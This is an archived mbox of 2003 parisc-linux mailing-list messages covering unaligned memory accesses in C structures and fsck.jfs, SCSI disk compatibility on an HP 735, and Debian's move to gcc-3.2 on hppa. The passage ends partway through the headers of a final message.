X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned accesses
Date: Fri, 10 Jan 2003 10:30:25 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200301101530.h0AFUQ9q003197@hiauly1.hia.nrc.ca>
References: <3E1AA8D500000877@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622091 19674 80.91.229.3 (22 Nov 2014 02:08:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:11 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 08:30:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 640D3484A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 08:30:33 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0AFUQot003199;
	Fri, 10 Jan 2003 10:30:26 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0AFUQ9q003197;
	Fri, 10 Jan 2003 10:30:26 -0500 (EST)
In-Reply-To: <3E1AA8D500000877@ocpmta8.freegates.net> from "jsoe0708@tiscali.be" at Jan 10, 2003 09:24:40 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17319

> >> hmmm buggy: not always, the triky case is when you have to access to
> those
> >> kind of data encapsulated into a structure. I do not yet find any workaround
> >> or how to fix this kind of pb. Any idea (gcc-3.3?)?
> >
> >eh? what do you mean? 
> >
> well I will try to find back the example I encounter (somewhere in jfs-1.0.23
> IIRC)

I think what Randolph is saying is that structures don't provide a machine
independent way of transfering data from one machine to another.  If you
want to do that, you need a machine independent specification for the data.
Having worked on code to decode realtime telemetry data from various
spacecraft, I know that you need to be very aware of type sizes, alignment
and endianness issues on each architecture.  The same kind of issues come
up in handling graphics data.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ibm-disk on a hp 735/125
Date: Fri, 10 Jan 2003 10:47:57 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200301101547.h0AFlvVs003368@hiauly1.hia.nrc.ca>
References: <Pine.GSO.4.51.0301091743500.9837@sunhalle66>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622091 19679 80.91.229.3 (22 Nov 2014 02:08:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: krebsj@informatik.tu-muenchen.de (Joerg Krebs)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 08:48:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83E99485D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 08:48:05 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0AFlvot003370;
	Fri, 10 Jan 2003 10:47:58 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0AFlvVs003368;
	Fri, 10 Jan 2003 10:47:57 -0500 (EST)
In-Reply-To: <Pine.GSO.4.51.0301091743500.9837@sunhalle66> from "Joerg Krebs" at Jan 9, 2003 05:44:31 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17320

> But now I want to replace the disk with a larger 4,3GB ibm dcas-34330
> disk, but I can't get it be detected by the system, I think i used the
> same jumper settings as on the old seagate drive.
> at the search for potential boot devices nothing appears.

If the ibm drive is not high-voltage differential, you can probably get
a wide to narrow adapter and put it at the end of the narrow SE bus.
Plugging a non-differential drive into a differential bus is not supposed
to damage anything but it does completely disable the bus drivers of
all devices on the bus ;-)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ibm-disk on a hp 735/125
Date: Fri, 10 Jan 2003 10:55:40 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <200301101555.h0AFtel8003407@hiauly1.hia.nrc.ca>
References: <1042203531.19627.11.camel@linux>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622092 19682 80.91.229.3 (22 Nov 2014 02:08:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:12 +0000 (UTC)
Cc: mnahkola@trinms01.ntc.nokia.com,
	parisc-linux@lists.parisc-linux.org
To: joerg.krebs@physik.uni-muenchen.de (Joerg Krebs)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 08:55:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B34E14829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 08:55:51 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0AFtfot003409;
	Fri, 10 Jan 2003 10:55:41 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0AFtel8003407;
	Fri, 10 Jan 2003 10:55:40 -0500 (EST)
In-Reply-To: <1042203531.19627.11.camel@linux> from "Joerg Krebs" at Jan 10, 2003 01:58:51 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17321

> Do you know if any HVD disk is detected by the hp or are there just some
> special disks for the hp ?

Don't think so.  I've used several OEM seagate models on the HVD bus.
I've done some hacking of drive tables and sam info.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned accesses
Date: Fri, 10 Jan 2003 08:29:07 -0800
Lines: 44
Approved: news@gmane.org
Message-ID: <20030110162906.GG31470@tausq.org>
References: <3E1AA8D500000877@ocpmta8.freegates.net> <3E1AA8D5000009DC@ocpmta8.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622092 19685 80.91.229.3 (22 Nov 2014 02:08:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 09:26:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5BF54485F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 09:26:09 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0AD2ACD62D; Fri, 10 Jan 2003 08:29:07 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3E1AA8D5000009DC@ocpmta8.freegates.net>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17322

> Unfortunately this doesn't reproduce the actual problem of which I save
> the following traces (from the evms_vgscan 1.1.0: once again this was fix
> since next release):

i'm not sure i correctly parsed what you wrote... the structure you
posted is fine, but that doesn't mean it cannot cause unaligned accesses
if used incorrectly.

for a simple example:
struct foo {
    int bar;
};

this structure if placed on the stack by gcc is always int-aligned. but
you can easily generate unaligned accesses from it:

void botch(void)
{
    char buf[1024];
    struct foo x;
    struct foo *a, *b;

    a = &x;
    b = (struct foo *)buf[2];

    printf("%d\n", a->bar); /* aligned */
    printf("%d\n", b->bar); /* unaligned! */
}

in this case, the structure gives you no guarantees that things will be
aligned properly.

it's also possible to have much more involved scenarios, (e.g. with
unions of things with different alignments), where things can get messed
up.... you need to carefully look at how the code works to debug these
things. while gcc may not be bug-free in this area, it's much more
likely to be an application bug than a gcc one.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new gcc-default for hppa
Date: Fri, 10 Jan 2003 17:31:54 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <3E1AA8D500000A9A__14657.7895888642$1416622092$gmane$org@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622092 19687 80.91.229.3 (22 Nov 2014 02:08:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 09:32:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79FA2485F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 09:32:11 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18X24j-0001rp-00; Fri, 10 Jan 2003 17:32:05 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 10 Jan 2003 17:31:54 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17323

Hi all,

I do notice that unstable debian for i386 switch (or will very soon) gcc-=
default
to gcc-3.2. Is it also true for hppa? (am I anxious about compiling new
kernel with this because of pb encounter with network connection)

Thanks in advance for advise,
    Joel
 

*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ibm-disk on a hp 735/125
Date: Fri, 10 Jan 2003 11:01:19 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200301101601.h0AG1JN2003469@hiauly1.hia.nrc.ca>
References: <20030110145800.GH2160@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622093 19689 80.91.229.3 (22 Nov 2014 02:08:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mnahkola@trinms01.ntc.nokia.com (Nahkola Mikko)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 09:01:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1AC24829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 09:01:27 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0AG1Kot003470;
	Fri, 10 Jan 2003 11:01:20 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0AG1JN2003469;
	Fri, 10 Jan 2003 11:01:19 -0500 (EST)
In-Reply-To: <20030110145800.GH2160@aurinko.ntc.nokia.com> from "Nahkola Mikko" at Jan 10, 2003 04:58:00 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17324

> At any rate, there _was_ (and still is, BTW) a way to recognize a HP disk 
> by the firmware - and there were differences between "workstation" and 
> "server" disks too, _and_ IIRC "workstation" disks weren't "expected to 
> work" in servers, the other way round it was "expected to work" but "unsupported" 
> or something. Don't remember.

diskinfo prints vendor name and product id.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned accesses
Date: Fri, 10 Jan 2003 11:51:41 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <3E1AA8D500000902@ocpmta8.freegates.net>
References: <20030110073659.GC31470@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622093 19691 80.91.229.3 (22 Nov 2014 02:08:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 03:52:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 785504829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 03:52:09 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18WwlT-0001s4-00; Fri, 10 Jan 2003 11:51:51 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 10 Jan 2003 11:51:41 +0100
In-Reply-To: <20030110073659.GC31470@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17325

>-- Original Message --
>Date: Thu, 9 Jan 2003 23:36:59 -0800
>From: Randolph Chung <randolph@tausq.org>
>To: jsoe0708@tiscali.be
>Cc: parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] unaligned accesses
>Reply-To: Randolph Chung <randolph@tausq.org>
>
>
...
>
>> hmmm buggy: not always, the triky case is when you have to access to
those
>> kind of data encapsulated into a structure. I do not yet find any work=
around
>> or how to fix this kind of pb. Any idea (gcc-3.3?)?
>
>eh? what do you mean? 

Sorry, I met well a problem of unaligne access problem with fsck.jfs (wit=
h
kernel 2.4.19-pa24+jfs 1.0.23 support):
...
fsck.jfs(6995): unaligned access to 0xfaf00757 at ip=3D0x0002ee1b
fsck.jfs(6995): unaligned access to 0xfaf00757 at ip=3D0x0002ee37
fsck.jfs(6995): unaligned access to 0xfaf00757 at ip=3D0x0002ed3f
...

which occurs in fsckmsgs.c for ip=3D0x0002ee1b (for exapmple) at:

        strncpy(prlimit, msgprms[prmidx], prmval[prmidx]);
with 
...
extern char *msgprms[];
...
   int prmidx;
...    
   int16_t *prmval;

So it is not related with the struct problem I encounter.

I will try to find back this example.

Joel

PS:  with ext3 (which I use) problem I hesitate to install 2.4.20 and wai=
ting
for 2.4.21 and evms, jfs, xfs support for this system)

********************************************
Promo Tiscali ADSL: 35 Euros/mois, 1er mois et activation =3D 0 Euro http=
://adsl.tiscali.be





From - Thu Nov 08 21:26:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Fri, 10 Jan 2003 09:09:05 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <20030110170905.GG26261__13915.3758799241$1416622093$gmane$org@tausq.org>
References: <3E1AA8D500000A9A@ocpmta8.freegates.net>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622093 19692 80.91.229.3 (22 Nov 2014 02:08:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 10:05:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id D302A4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 10:05:49 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 320D1CD62D; Fri, 10 Jan 2003 09:09:05 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3E1AA8D500000A9A@ocpmta8.freegates.net>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17326

> I do notice that unstable debian for i386 switch (or will very soon) gcc-default
> to gcc-3.2. Is it also true for hppa? (am I anxious about compiling new
> kernel with this because of pb encounter with network connection)

yes:

tausq@auric:~$ madison gcc|grep unstable
       gcc |    2:3.1-1 |      unstable | hurd-i386
       gcc |  3:3.2.2-0 |      unstable | alpha, arm, hppa, i386, ia64, m68k, mips, mipsel, powerpc, s390, sparc

randolph


From - Thu Nov 08 21:26:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned accesses
Date: Fri, 10 Jan 2003 17:08:13 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20030110170813.X26554@parcelfarce.linux.theplanet.co.uk>
References: <20030110073659.GC31470@tausq.org> <3E1AA8D500000902@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622094 19695 80.91.229.3 (22 Nov 2014 02:08:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:14 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 10:08:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98F404829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 10:08:20 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18X2dh-0007fk-00; Fri, 10 Jan 2003 17:08:13 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E1AA8D500000902@ocpmta8.freegates.net>; from jsoe0708@tiscali.be on Fri, Jan 10, 2003 at 11:51:41AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
